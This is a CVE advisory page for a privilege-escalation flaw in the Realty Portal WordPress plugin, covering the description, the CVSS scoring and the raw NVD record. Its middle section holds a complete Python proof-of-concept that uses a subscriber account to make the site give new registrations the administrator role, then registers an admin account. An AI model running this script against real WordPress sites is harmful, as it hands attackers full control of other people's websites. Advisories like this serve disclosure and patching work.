Security Vulnerability Report
中文
CVE-2025-11985 CVSS 8.8 HIGH

CVE-2025-11985

Published: 2025-11-21 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Realty Portal plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'rp_save_property_settings' function in versions 0.1 to 0.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Realty Portal < 0.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # Target WordPress site with vulnerable Realty Portal plugin target_url = "http://target-wordpress-site.com" # Login as low-privilege user (subscriber) session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit: Modify default role to administrator ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "rp_save_property_settings", "rp_settings[default_role]": "administrator", "rp_settings[users_can_register]": "1" } response = session.post(ajax_url, data=exploit_data) # Register new admin user register_url = f"{target_url}/wp-login.php?action=register" register_data = { "user_login": "new_admin_pwned", "user_email": "[email protected]", "wp-submit": "Register New Site" } register_response = session.post(register_url, data=register_data) print("Privilege Escalation Completed - New Admin Account Created")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11985", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:52.247", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Realty Portal plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'rp_save_property_settings' function in versions 0.1 to 0.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/862.html", "source": "[email protected]"}, {"url": "https://developer.wordpress.org/reference/functions/current_user_can/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/realty-portal/tags/0.1/includes/functions/enqueue.php#L224", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/realty-portal/tags/0.1/includes/property/process/ajax-save-property-setting.php#L189", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/realty-portal/tags/0.1/includes/property/process/ajax-save-property-setting.php#L198", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e8263908-95b3-4b72-a9de-a982618eba2c?source=cve", "source": "[email protected]"}]}}